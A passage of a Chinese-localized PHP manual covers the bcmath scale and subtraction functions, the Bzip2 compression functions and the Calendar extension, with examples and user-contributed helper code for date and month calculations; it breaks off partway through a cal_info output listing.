(PHP 3, PHP 4, PHP 5)

bcscale -- Set default scale parameter for all bc math functions

Description

bool bcscale ( int scale )

This function sets the default scale parameter for all subsequent bc math functions that do not explicitly specify a scale parameter. 如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. bcscale() example

<?php

// default scale : 3
bcscale(3);
echo bcdiv('105', '6.55957'); // 16.007

// this is the same without bcscale()
echo bcdiv('105', '6.55957', 3); // 16.007

?>

add a note add a note User Contributed Notes
invincible at limitedintelligence dot com
08-Feb-2006 07:50
If you don't set the default scale, be careful when you're chaining together several BC math functions - since by default, these functions will round off your values, losing accuracy very quickly:

<?php
$a = 1.234
$b = 2.345
$c = 7.890

$ab = bcmul($a,$b);          // 2
$abc = bcmul($ab,$c);

echo $abc;                // 15
?>

... compare with the answer you get when you use more decimal places:

<?php
$a = 1.234
$b = 2.345
$c = 7.890

bcscale(15);
$ab = bcmul($a,$b);          // 2.893730
$abc = bcmul($ab,$c);

echo $abc;                // 22.83152970
?>
add a note add a note

后退 | 起点 | 前进
bcpowmod | 上一级 | bcsqrt


bcsqrt

(PHP 3, PHP 4, PHP 5)

bcsqrt -- Get the square root of an arbitrary precision number

Description

string bcsqrt ( string operand [, int scale] )

Return the square root of the operand. The optional scale parameter sets the number of digits after the decimal place in the result.

范例

例子 1. bcsqrt() example

<?php

echo bcsqrt('2', 3); // 1.414

?>

参见

bcpow().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcscale | 上一级 | bcsub


bcsub

(PHP 3, PHP 4, PHP 5)

bcsub -- Subtract one arbitrary precision number from another

Description

string bcsub ( string left_operand, string right_operand [, int scale] )

Subtracts the right_operand from the left_operand and returns the result in a string. The optional scale parameter is used to set the number of digits after the decimal place in the result.

范例

例子 1. bcsub() example

<?php

$a = '1.234';
$b = '5';

echo bcsub($a, $b);     // -3
echo bcsub($a, $b, 4);  // -3.7660

?>

参见

bcadd().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcsqrt | 上一级 | Bzip2 压缩函数


Bzip2 压缩函数

PHP 手册
后退 前进

VIII. Bzip2 压缩函数

简介

Bzip2 函数用来透明的读写 bzip2（.bz2）压缩文件。

需求

本模块使用 Julian Seward 写的 bzip2 库。此模块需要 bzip2/libbzip2 版本 >= 1.0.x。

安装

PHP 的 bzip2 支持默认未打开。编译 PHP 时需要 --with-bz2[=DIR] 配置选项来激活 bzip2 支持。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展定义了一种资源类型：一个文件指针，指向正在被操作的 bz2 文件。

预定义常量

本扩展模块未定义任何常量。

范例

该例子打开一临时文件，并写入一测试字符串，然后打印文件内容。

例子 1. Bzip2 例子

<?php

$filename = "/tmp/testfile.bz2";
$str = "This is a test string.\n";

// 以写入方式打开文件
$bz = bzopen($filename, "w");

// 写入字符串到文件
bzwrite($bz, $str);

// 关闭文件
bzclose($bz);

// 以读取方式打开文件
$bz = bzopen($filename, "r");

// 读取 10 个字符
echo bzread($bz, 10);

// 输出直到文件结尾（或后续的 1024 字节）并关闭它。
echo bzread($bz);

bzclose($bz);

?>
目录
bzclose -- Close a bzip2 file
bzcompress -- Compress a string into bzip2 encoded data
bzdecompress -- Decompresses bzip2 encoded data
bzerrno -- Returns a bzip2 error number
bzerror -- Returns the bzip2 error number and error string in an array
bzerrstr -- Returns a bzip2 error string
bzflush -- Force a write of all buffered data
bzopen -- Opens a bzip2 compressed file
bzread -- Binary safe bzip2 file read
bzwrite -- Binary safe bzip2 file write

add a note add a note User Contributed Notes
ec10 at gmx dot net
21-May-2004 02:34
/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc compressing the file with the bzip2-extension
*/
function bzip2 ($in, $out)
{
   if (!file_exists ($in) || !is_readable ($in))
       return false;
   if ((!file_exists ($out) && !is_writeable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
       return false;

   $in_file = fopen ($in, "rb");
   $out_file = bzopen ($out, "wb");

   while (!feof ($in_file)) {
       $buffer = fgets ($in_file, 4096);
         bzwrite ($out_file, $buffer, 4096);
   }

   fclose ($in_file);
   bzclose ($out_file);

   return true;
}

/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc uncompressing the file with the bzip2-extension
*/
function bunzip2 ($in, $out)
{
   if (!file_exists ($in) || !is_readable ($in))
       return false;
   if ((!file_exists ($out) && !is_writeable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
       return false;

   $in_file = bzopen ($in, "rb");
   $out_file = fopen ($out, "wb");

   while ($buffer = bzread ($in_file, 4096)) {
       fwrite ($out_file, $buffer, 4096);
   }

   bzclose ($in_file);
   fclose ($out_file);

   return true;
}
add a note add a note

后退 | 起点 | 前进
bcsub | 上一级 | bzclose


bzclose

(PHP 4 >= 4.3.3, PHP 5)

bzclose -- Close a bzip2 file

说明

int bzclose ( resource bz )

Closes the given bzip2 file pointer.

参数

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

bzopen()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Bzip2 压缩函数 | 上一级 | bzcompress


bzcompress

(PHP 4 >= 4.3.3, PHP 5)

bzcompress -- Compress a string into bzip2 encoded data

说明

mixed bzcompress ( string source [, int blocksize [, int workfactor]] )

bzcompress() compresses the given string and returns it as bzip2 encoded data.

参数

source

The string to compress.

blocksize

Specifies the blocksize used during compression and should be a number from 1 to 9 with 9 giving the best compression, but using more resources to do so. blocksize defaults to 4.

workfactor

Controls how the compression phase behaves when presented with worst case, highly repetitive, input data. The value can be between 0 and 250 with 0 being a special case and 30 being the default value.

Regardless of the workfactor, the generated output is the same.

返回值

The compressed string or number of error in case of error.

范例

例子 1. Compressing data

<?php
$str = "sample data";
$bzstr = bzcompress($str, 9);
echo $bzstr;
?>

参见

bzdecompress()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bzclose | 上一级 | bzdecompress


bzdecompress

(PHP 4 >= 4.3.3, PHP 5)

bzdecompress -- Decompresses bzip2 encoded data

说明

mixed bzdecompress ( string source [, int small] )

bzdecompress() decompresses the given string containing bzip2 encoded data.

参数

source

The string to decompress.

small

If TRUE, an alternative decompression algorithm will be used which uses less memory (the maximum memory requirement drops to around 2300K) but works at roughly half the speed.

See the bzip2 documentation for more information about this feature.

返回值

The decompressed string or number of error in case of error.

范例

例子 1. Decompressing a String

<?php
$start_str = "This is not an honest face?";
$bzstr = bzcompress($start_str);

echo "Compressed String: ";
echo $bzstr;
echo "\n<br />\n";

$str = bzdecompress($bzstr);
echo "Decompressed String: ";
echo $str;
echo "\n<br />\n";
?>

参见

bzcompress()

add a note add a note User Contributed Notes
balint * atres / ath / cx
10-Jan-2006 09:02
I spent a while to sort out some integer results of the bzdecompress, so maybe it'll be useful for somebody else also...
(Constants from the sources.)

#define BZ_OK                0
#define BZ_RUN_OK            1
#define BZ_FLUSH_OK          2
#define BZ_FINISH_OK        3
#define BZ_STREAM_END        4
#define BZ_SEQUENCE_ERROR    (-1)
#define BZ_PARAM_ERROR      (-2)
#define BZ_MEM_ERROR        (-3)
#define BZ_DATA_ERROR        (-4)
#define BZ_DATA_ERROR_MAGIC  (-5)
#define BZ_IO_ERROR          (-6)
#define BZ_UNEXPECTED_EOF    (-7)
#define BZ_OUTBUFF_FULL      (-8)
#define BZ_CONFIG_ERROR      (-9)
add a note add a note

后退 | 起点 | 前进
bzcompress | 上一级 | bzerrno


bzerrno

(PHP 4 >= 4.3.3, PHP 5)

bzerrno -- Returns a bzip2 error number

说明

int bzerrno ( resource bz )

Returns the error number of any bzip2 error returned by the given file pointer.

参数

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

返回值

Returns the error number as an integer.

参见

bzerror()
bzerrstr()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bzdecompress | 上一级 | bzerror


bzerror

(PHP 4 >= 4.3.3, PHP 5)

bzerror -- Returns the bzip2 error number and error string in an array

说明

array bzerror ( resource bz )

Returns the error number and error string of any bzip2 error returned by the given file pointer.

参数

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

返回值

Returns an associative array, with the error code in the errno entry, and the error message in the errstr entry.

范例

例子 1. bzerror() example

<?php
$error = bzerror($bz);

echo $error["errno"];
echo $error["errstr"];
?>

参见

bzerrno()
bzerrstr()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bzerrno | 上一级 | bzerrstr


bzerrstr

(PHP 4 >= 4.3.3, PHP 5)

bzerrstr -- Returns a bzip2 error string

说明

string bzerrstr ( resource bz )

Gets the error string of any bzip2 error returned by the given file pointer.

参数

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

返回值

Returns a string containing the error message.

参见

bzerrno()
bzerror()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bzerror | 上一级 | bzflush


bzflush

(PHP 4 >= 4.3.3, PHP 5)

bzflush -- Force a write of all buffered data

说明

int bzflush ( resource bz )

Forces a write of all buffered bzip2 data for the file pointer bz.

参数

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

bzread()
bzwrite()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bzerrstr | 上一级 | bzopen


bzopen

(PHP 4 >= 4.3.3, PHP 5)

bzopen -- Opens a bzip2 compressed file

说明

resource bzopen ( string filename, string mode )

bzopen() opens a bzip2 (.bz2) file for reading or writing.

参数

filename

The name of the file to open.

mode

Similar to the fopen() function ('r' for read, 'w' for write, etc.).

返回值

If the open fails, bzopen() returns FALSE, otherwise it returns a pointer to the newly opened file.

范例

例子 1. bzopen() example

<?php

$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Couldn't open $file for reading");

bzclose($bz);

?>

参见

bzclose()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bzflush | 上一级 | bzread


bzread

(PHP 4 >= 4.3.3, PHP 5)

bzread -- Binary safe bzip2 file read

说明

string bzread ( resource bz [, int length] )

bzread() reads from the given bzip2 file pointer.

Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.

参数

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

length

If not specified, bzread() will read 1024 (uncompressed) bytes at a time.

返回值

Returns the uncompressed data, or FALSE on error.

范例

例子 1. bzread() example

<?php

$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Couldn't open $file");

$decompressed_file = '';
while (!feof($bz)) {
  $decompressed_file .= bzread($bz, 4096);
}
bzclose($bz);

echo "The contents of $file are: <br />\n";
echo $decompressed_file;

?>

参见

bzwrite()
feof()
bzopen()

add a note add a note User Contributed Notes
bitlz at mail dot ru
05-Aug-2004 10:02
max value of length is 8192 (2^13).
if length is more than 8192 bzread understand as 8192. :)

ps. php 5.0.0 under win2k sp4.
add a note add a note

后退 | 起点 | 前进
bzopen | 上一级 | bzwrite


bzwrite

(PHP 4 >= 4.3.3, PHP 5)

bzwrite -- Binary safe bzip2 file write

说明

int bzwrite ( resource bz, string data [, int length] )

bzwrite() writes a string into the given bzip2 file stream.

参数

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

data

The written data.

length

If supplied, writing will stop after length (uncompressed) bytes have been written or the end of data is reached, whichever comes first.

返回值

Returns the number of bytes written, or FALSE on error.

范例

例子 1. bzwrite() example

<?php
$str = "uncompressed data";
$bz = bzopen("/tmp/foo.bz2", "w");
bzwrite($bz, $str, strlen($str));
bzclose($bz);
?>

参见

bzread()
bzopen()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bzread | 上一级 | Calendar 日历函数


Calendar 日历函数

PHP 手册
后退 前进

IX. Calendar 日历函数

简介

日历扩展是由一系列简单的日历格式转换函数组成。媒介或标准是基于儒略日计数（Julian Day Count）。儒略日计数是从公元前 4713 年 1 月 1 日开始计算的。在不同的日历系统中转换，必须先将其转换为儒略日计数，然后转换为目标日历格式。儒略日计数与罗马儒略历（Julian Calendar）完全不同！更多关于儒略日计数的信息，请访问 http://www.hermetic.ch/cal_stud/jdn.htm。更多关于日历系统的信息，请访问 http://www.boogle.com/info/cal-overview.html。从此页面引用的信息包含了这些介绍，在引号之内。

安装

要使用本类函数，需要在编译 PHP 时加上 --enable-calendar。

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

CAL_GREGORIAN (integer)

CAL_JULIAN (integer)

CAL_JEWISH (integer)

CAL_FRENCH (integer)

CAL_NUM_CALS (integer)

CAL_DOW_DAYNO (integer)

CAL_DOW_SHORT (integer)

CAL_DOW_LONG (integer)

CAL_MONTH_GREGORIAN_SHORT (integer)

CAL_MONTH_GREGORIAN_LONG (integer)

CAL_MONTH_JULIAN_SHORT (integer)

CAL_MONTH_JULIAN_LONG (integer)

CAL_MONTH_JEWISH (integer)

CAL_MONTH_FRENCH (integer)

以下常量自 PHP 4.3.0 起可用：

CAL_EASTER_DEFAULT (integer)

CAL_EASTER_ROMAN (integer)

CAL_EASTER_ALWAYS_GREGORIAN (integer)

CAL_EASTER_ALWAYS_JULIAN (integer)

以下常量自 PHP 5.0.0 起可用：

CAL_JEWISH_ADD_ALAFIM_GERESH (integer)

CAL_JEWISH_ADD_ALAFIM (integer)

CAL_JEWISH_ADD_GERESHAYIM (integer)

目录
cal_days_in_month -- Return the number of days in a month for a given year and calendar
cal_from_jd -- Converts from Julian Day Count to a supported calendar
cal_info -- Returns information about a particular calendar
cal_to_jd -- Converts from a supported calendar to Julian Day Count
easter_date -- Get Unix timestamp for midnight on Easter of a given year
easter_days -- Get number of days after March 21 on which Easter falls for a given year
FrenchToJD -- Converts a date from the French Republican Calendar to a Julian Day Count
GregorianToJD -- Converts a Gregorian date to Julian Day Count
JDDayOfWeek -- Returns the day of the week
JDMonthName -- Returns a month name
JDToFrench -- Converts a Julian Day Count to the French Republican Calendar
JDToGregorian -- Converts Julian Day Count to Gregorian date
jdtojewish -- Converts a Julian day count to a Jewish calendar date
JDToJulian -- Converts a Julian Day Count to a Julian Calendar Date
jdtounix -- Convert Julian Day to Unix timestamp
JewishToJD -- Converts a date in the Jewish Calendar to Julian Day Count
JulianToJD -- Converts a Julian Calendar date to Julian Day Count
unixtojd -- Convert Unix timestamp to Julian Day

add a note add a note User Contributed Notes
fRay Ferguson
21-Apr-2006 10:32
The following is a light reimplimentation of some of these functions wich can be used in an include file to work around the lack of --with-calendar in php implimentations.

<?php

/* IMPLEMENTS SUBSET OF PHP CALENDAR FUNCTIONS ON SYSTEMS COMPILED W/O --enable-calendar */

if (!function_exists('cal_days_in_month')){
       function cal_days_in_month($a_null, $a_month, $a_year) {
               return date('t', mktime(0, 0, 0, $a_month+1, 0, $a_year));
       }
}

if (!function_exists('cal_to_jd')){
       function cal_to_jd($a_null, $a_month, $a_day, $a_year){
               if ( $a_month <= 2 ){
                     $a_month = $a_month + 12 ;
                     $a_year = $a_year - 1 ;
               }
               $A = intval($a_year/100);
               $B = intval($A/4) ;
               $C = 2-$A+$B ;
               $E = intval(365.25*($a_year+4716)) ;
               $F = intval(30.6001*($a_month+1));
               return intval($C+$a_day+$E+$F-1524) ;
       }
}

if (!function_exists('get_jd_dmy')) {
   function get_jd_dmy($a_jd){
     $W = intval(($a_jd - 1867216.25)/36524.25) ;
     $X = intval($W/4) ;
     $A = $a_jd+1+$W-$X ;
     $B = $A+1524 ;
     $C = intval(($B-122.1)/365.25) ;
     $D = intval(365.25*$C) ;
     $E = intval(($B-$D)/30.6001) ;
     $F = intval(30.6001*$E) ;
     $a_day = $B-$D-$F ;
     if ( $E > 13 ) {
       $a_month=$E-13 ;
       $a_year = $C-4715 ;
     } else {
       $a_month=$E-1 ;
       $a_year=$C-4716 ;
     }
     return array($a_month, $a_day, $a_year) ;
   }
}

if (!function_exists('jdmonthname')) {
       function jdmonthname($a_jd,$a_mode){
               $tmp = get_jd_dmy($a_jd) ;
               $a_time = "$tmp[0]/$tmp[1]/$tmp[2]" ;
               switch($a_mode) {
                       case 0:
                               return strftime("%b",strtotime("$a_time")) ;
                       case 1:
                               return strftime("%B",strtotime("$a_time")) ;
               }
       }
}

if (!function_exists('jddayofweek')) {
       function jddayofweek($a_jd,$a_mode){
               $tmp = get_jd_dmy($a_jd) ;
               $a_time = "$tmp[0]/$tmp[1]/$tmp[2]" ;
               switch($a_mode) {
                       case 1:
                               return strftime("%A",strtotime("$a_time")) ;
                       case 2:
                               return strftime("%a",strtotime("$a_time")) ;
                       default:
                               return strftime("%w",strtotime("$a_time")) ;
               }
       }
}

?>
amichauer at gmx dot de
28-Jun-2005 12:46
<?php

class HijriCalendar
{
   function monthName($i) // $i = 1..12
   {
       static $month  = array(
           "Mxrrm", "Safar", "Rabig-l-wwl", "Rabig-l-Axr",
           "Cmd-l-wwl", "Cmd-l-Axr", "Racb", "bn",
           "Ramazan", "wl", "Z-l-Qd", "Z-l-Xicc"
       );
       return $month[$i-1];
   }

   function GregorianToHijri($time = null)
   {
       if ($time === null) $time = time();
       $m = date('m', $time);
       $d = date('d', $time);
       $y = date('Y', $time);

       return HijriCalendar::JDToHijri(
           cal_to_jd(CAL_GREGORIAN, $m, $d, $y));
   }

   function HijriToGregorian($m, $d, $y)
   {
       return jd_to_cal(CAL_GREGORIAN,
           HijriCalendar::HijriToJD($m, $d, $y));
   }

   # Julian Day Count To Hijri
   function JDToHijri($jd)
   {
       $jd = $jd - 1948440 + 10632;
       $n  = (int)(($jd - 1) / 10631);
       $jd = $jd - 10631 * $n + 354;
       $j  = ((int)((10985 - $jd) / 5316)) *
           ((int)(50 * $jd / 17719)) +
           ((int)($jd / 5670)) *
           ((int)(43 * $jd / 15238));
       $jd = $jd - ((int)((30 - $j) / 15)) *
           ((int)((17719 * $j) / 50)) -
           ((int)($j / 16)) *
           ((int)((15238 * $j) / 43)) + 29;
       $m  = (int)(24 * $jd / 709);
       $d  = $jd - (int)(709 * $m / 24);
       $y  = 30*$n + $j - 30;

       return array($m, $d, $y);
   }

   # Hijri To Julian Day Count
   function HijriToJD($m, $d, $y)
   {
       return (int)((11 * $y + 3) / 30) +
           354 * $y + 30 * $m -
           (int)(($m - 1) / 2) + $d + 1948440 - 385;
   }
};

$hijri = HijriCalendar::GregorianToHijri( time() );
echo $hijri[1].'. '.HijriCalendar::monthName($hijri[0]).' '.$hijri[2];

?>
pouya
04-Apr-2004 02:39
There is an implementation of the Persian calendar at www.farsiweb.info.
jthome at fcgov dot com
03-Oct-2003 02:38
Had a similar problem as curlee, except I needed to create a JDE_ERP date.  [format is CYYDDD]

<?php

function jde_date_create($month, $day, $year){
   /*
   *  NOTE: $month and $day CANNOT have leading zeroes,
   *        $year must be'YYYY' format
   */
   $jde_year_prefix = substr($year, 0, 1) - 1;
   $jde_year_suffix = substr($year, -2);

   //note that valid years for mktime are 1902-2037
   $timestamp = mktime(0,0,0,$month, $day, $year);
   $baseline_timestamp = mktime(0,0,0,1,0,$year);

   $day_count = round(($timestamp - $baseline_timestamp)/86400);
   $day_count_padded = str_pad($day_count,3,"0",STR_PAD_LEFT);

   return ($jde_year_prefix . $jde_year_suffix . $day_count_padded);

}

echo jde_date_create(6,25,2000);// will return '103176'

?>

--
Jim
curlee at mindspring dot com
29-Aug-2003 11:55
I solved a problem with Julian dates that are used in the JD Edwards ERP package (running on AS/400).  The Julian format for this system is as follows:  CYYDDD

Where C is 0 for 1900 and 1 for 2000
DDD is the day of the year count

I used the mktime built-in php function to convert dates to the normal DD/MM/YYYY format.  This function will convert dates that are between 1970 and 2038 (limitation of unix timestamps and the mktime function)

The $jde_date var needs to be a 6 len STRING.... if you use a numeric var type it will drop the leading 0 for any date that represents 1900.... this will botch the substr functions and thus make the whole thing wrong.

function jde_date_conv($jde_date)
{

$ct = substr($jde_date,0,1);
$yr = substr($jde_date,1,2);
$dy = substr($jde_date,3,3);

if($ct == 0) $yr_pfx = 19;
if($ct == 1) $yr_pfx = 20;

$tlt_yr = $yr_pfx.$yr;

$base_time = mktime(0,0,0,1,0,$tlt_yr);

$unix_time = ($dy * 86400) + $base_time;

return date("m/d/Y" , $unix_time);
}
carlj at vibez dot ca
17-Jun-2003 03:28
Why not do something like this, to find the number of days in a month?

$monthNum = date("n"); // or any value from 1-12
$year        = date("Y"); // or any value >= 1
$numDays  = date("t",mktime(0,0,0,$monthNum,1,$year))

This will tell you if there is 28-31 days in a month
dy64 at dy64 dot de
12-Nov-2002 10:18
Best performance:
/*
 * Find the number of days in a month
 * Year is between 1 and 32767 inclusive
 * Month is between 1 and 12 inclusive
 */
function DayInMonth($month, $year) {
   var $daysInMonth = array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
   if ($month != 2) return $daysInMonth[$month - 1];
   return (checkdate($month, 29, $year)) ? 29 : 28;
}
kmcm at bigfoot dot com
21-Jan-2002 10:42
if, like me, you don't have a PHP build that includes the cal functions, you may want to use this function for sorting out leap year.

function days_in_feb($year){

   //$year must be YYYY
   //[gregorian] leap year math :

   if ($year < 0) $year++;
   $year += 4800;

   if ( ($year % 4) == 0) {
       if (($year % 100) == 0) {
           if (($year % 400) == 0) {
               return(29);
           } else {
               return(28);
           }
       } else {
           return(29);
       }
   } else {
       return(28);
   }
}

of course the next leap year isn't until the end of the century but this makes for timeless code I guess ...or if you are using 2000 in your dates or are going far back in time, etc, it is necessary.
mikebabcock at pobox dot com
18-Jul-2000 12:20
There are two world calculations for the date of Easter.  The Easter date function should account for this; one used (generally) by the Western world and one (generally) used by the Eastern (the official date used by the East Orthodox Church).
ssharma at odc dot net
31-Jan-2000 07:36
If you're interested in dates/calendars, check out the MCAL stuff.
http://www.php.net/manual/ref.mcal.php3
add a note add a note

后退 | 起点 | 前进
bzwrite | 上一级 | cal_days_in_month


cal_days_in_month

(PHP 4 >= 4.1.0, PHP 5)

cal_days_in_month -- Return the number of days in a month for a given year and calendar

Description

int cal_days_in_month ( int calendar, int month, int year )

This function will return the number of days in the month of year for the specified calendar.

例子 1. cal_days_in_month() example

<?php
$num = cal_days_in_month(CAL_GREGORIAN, 8, 2003); // 31
echo "There was $num days in August 2003";
?>

See also jdtounix().

add a note add a note User Contributed Notes
sasha at alronix dot com
05-Apr-2006 09:46
function days_in_month($a_month, $a_year) {
   return date('t', strtotime($a_year . '-' . $a_month . '-01'));
}
NiGhMa
23-May-2005 04:00
Stay simple ;)

$ndays = date("t"); //return the number of days for this month and this year

$ndays = date("t", mktime(0, 0, 0, 12, 1, 2004)); // You can also specify a date

c u
Pasci - webmaster at cyber-style dot net
07-Jan-2005 06:21
Here's the one line solution without loops or other slow stuff ;)

<?php

$daynum = date("j",mktime(0,0,0,$month+1,0,$year));

?>
richard at N O S P A M dot computoz dot co dot uk
24-Aug-2004 08:55
re: rshowalter at mtsinai dot on dot ca 's daysinmonth.

This is faster (no loop, no testing irrelevant values):

   function daysinmonth($month, $year)
   {
       if(checkdate($month, 31, $year)) return 31;
       if(checkdate($month, 30, $year)) return 30;
       if(checkdate($month, 29, $year)) return 29;
       if(checkdate($month, 28, $year)) return 28;
       return 0; // error
   }

and won't inf-loop on you, ever.
rshowalter at mtsinai dot on dot ca
28-Apr-2004 08:43
How about this one:

<?php
function daysinmonth($month, $year)
{
   $days=31;
   while(!checkdate($month, $days, $year)) $days--;
   return $days;
}
?>

Not exactly a one-line solution, but easy to follow, not limited to 1970-2038 (but don't use it after the year 32767) and uses a built-in function that's always available.

Be sure that $month and $year are valid, or the loop will run forever. Possibly add:

&& $days>0

to the while condition. This would return 0 as your error code.
paul (at) bughunt3r.com
18-Apr-2004 11:31
Here is a nifty function to return the date for easter for ranges beyond 2037 or before 1970.

<?php
   function str_easter_date ($year) {
       $days = easter_days ($year);
       $days_in_march = cal_days_in_month (CAL_GREGORIAN, 3, $year);
       if (($days + 21) < $days_in_march) {
           $month = "March";
           $date = $days + 21;
       } else {
           $month = "April";
           $date = ($days + 21) - $days_in_march;
       }

       return "$month $date, $year";
   }
?>
jeffbeall at comcast dot net
15-Apr-2004 01:04
This will work great in future dates but will give the wrong answer for dates before 1550 (approx) when leap year was introduced and the calendar lost a year or two.
Sorry now to be more specific it has been a while sine I had to account for those later dates and had to take that into account but just a heads up for others to watch out.
dbindel at austin dot rr dot com
02-Jan-2004 01:06
Here's a one-line function I just wrote to find the numbers of days in a month that doesn't depend on any other functions.

The reason I made this is because I just found out I forgot to compile PHP with support for calendars, and a class I'm writing for my website's open source section was broken. So rather than recompiling PHP (which I will get around to tomorrow I guess), I just wrote this function which should work just as well, and will always work without the requirement of PHP's calendar extension or any other PHP functions for that matter.

I learned the days of the month using the old knuckle & inbetween knuckle method, so that should explain the mod 7 part. :)

<?php
/*
 * days_in_month($month, $year)
 * Returns the number of days in a given month and year, taking into account leap years.
 *
 * $month: numeric month (integers 1-12)
 * $year: numeric year (any integer)
 *
 * Prec: $month is an integer between 1 and 12, inclusive, and $year is an integer.
 * Post: none
 */
// corrected by ben at sparkyb dot net
function days_in_month($month, $year)
{
// calculate number of days in a month
return $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year % 400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);
}
?>

Enjoy,
David Bindel
add a note add a note

后退 | 起点 | 前进
Calendar 日历函数 | 上一级 | cal_from_jd


cal_from_jd

(PHP 4 >= 4.1.0, PHP 5)

cal_from_jd -- Converts from Julian Day Count to a supported calendar

Description

array cal_from_jd ( int jd, int calendar )

cal_from_jd() converts the Julian day given in jd into a date of the specified calendar. Supported calendar values are CAL_GREGORIAN, CAL_JULIAN, CAL_JEWISH and CAL_FRENCH.

例子 1. cal_from_jd() example

<?php
$today = unixtojd(mktime(0, 0, 0, 8, 16, 2003));
print_r(cal_from_jd($today, CAL_GREGORIAN));
?>

上例将输出：

Array
(
    [date] => 8/16/2003
    [month] => 8
    [day] => 16
    [year] => 2003
    [dow] => 6
    [abbrevdayname] => Sat
    [dayname] => Saturday
    [abbrevmonth] => Aug
    [monthname] => August
)

See also cal_to_jd().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cal_days_in_month | 上一级 | cal_info


cal_info

(PHP 4 >= 4.1.0, PHP 5)

cal_info -- Returns information about a particular calendar

Description

array cal_info ( [int calendar] )

cal_info() returns information on the specified calendar.

Calendar information is returned as an array containing the elements calname, calsymbol, month, abbrevmonth and maxdaysinmonth. The names of the different calendars which can be used as calendar are as follows:

  • 0 or CAL_GREGORIAN - Gregorian Calendar

  • 1 or CAL_JULIAN - Julian Calendar

  • 2 or CAL_JEWISH - Jewish Calendar

  • 3 or CAL_FRENCH - French Revolutionary Calendar

If no calendar is specified information on all supported calendars is returned as an array. This functionality is available beginning with PHP 5.

例子 1. cal_info() example

<?php
$info = cal_info(0);
print_r($info);
?>

上例将输出：

Array
(
    [months] => Array
        (
            [1] => January
            [2] => February
            [3] => March
            [4] => April
            [5] => May
            [6] => June
            [7] => July
            [8] => August
            [9] => September
            [10] => October
            [11] => November
            [12] => December
        )

    [abbrevmonths] => Array
        (
            [1] => Jan
            [2] => Feb
            [3] => Mar
            [4] => Apr
            [5] => May
            [6] => Jun
            [7] => Jul
            [8] => Aug
            [9] => Sep
            [10] => Oct
            [11] => Nov
            [12] => Dec
        )

    [maxdaysinmonth] => 31
    [calname] => Gregorian
    [calsymbol] => CAL_GREGORIAN
)

add a note add a note User Contributed Notes
colin at wonuke dot org
19-Oct-2005 04:38
The above example doesn't actually output the way that the instructions specify.  Write the code like this to get the more human readable output:

<?php
$info = cal_info(0);
print ( '<pre>' );
print_r($info);
print ( '</pre>' );
?>
oliver DOT pliquett @mediagear DOT de
27-Nov-2002 09:44
A little example code to show the array structure:

<?php
$aCalendars = array( CAL_GREGORIAN, CAL_JULIAN, CALL_JEWISH, CAL_FRENCH );

foreach ( $aCalendars as $cal ) {

     $aCalInfo = cal_info( $cal );

     echo "cal_info( " . $aCalInfo['calsymbol'] . " ) = ";
     print_r( $aCalInfo );
     echo "\n\n";
}
?>

will return this:

cal_info( CAL_GREGORIAN ) = Array
(
   [months] => Array
       (
           [1] => January
           [2] => February
           [3] => March
           [4] => April
           [5] => May
           [6] => June
           [7] => July
           [8] => August
           [9] => September
           [10] => October
           [11] => November
           [12] => December
       )

   [abbrevmonths] => Array
       (
           [1] => Jan
           [2] => Feb
           [3] => Mar
           [4] => Apr
           [5] => May
           [6] => Jun
           [7] => Jul
           [8] => Aug
           [9] => Sep
           [10] => Oct
           [11] => Nov
           [12] => Dec
       )

   [maxdaysinmonth] => 31
   [calname] => Gregorian
   [calsymbol] => CAL_GREGORIAN
)

cal_info( CAL_JULIAN ) = Array
(
   [months] => Array
       (
           [1] => January
           [2] => February
           [3] => March
           [4] => April
           [5] => May
           [6] => June
           [7] => July
           [8] => August
           [9] => September
           [10] => October
           [11] => November
           [12] => December
       )

   [abbrevmonths] => Array
       (
           [1] => Jan
           [2] => Feb
           [3] => Mar
           [4] => Apr
           [5] => May
           [6] => Jun
           [7] => Jul
           [8] => Aug
           [9] => Sep
           [10] => Oct
           [11] => Nov
           [12] => Dec
       )

   [maxdaysinmonth] => 31
   [calname] => Julian
   [calsymbol] => CAL_JULIAN
)

cal_info( CAL_JEWISH ) = Array
(
   [months] => Array
       (
           [1] => Tishri
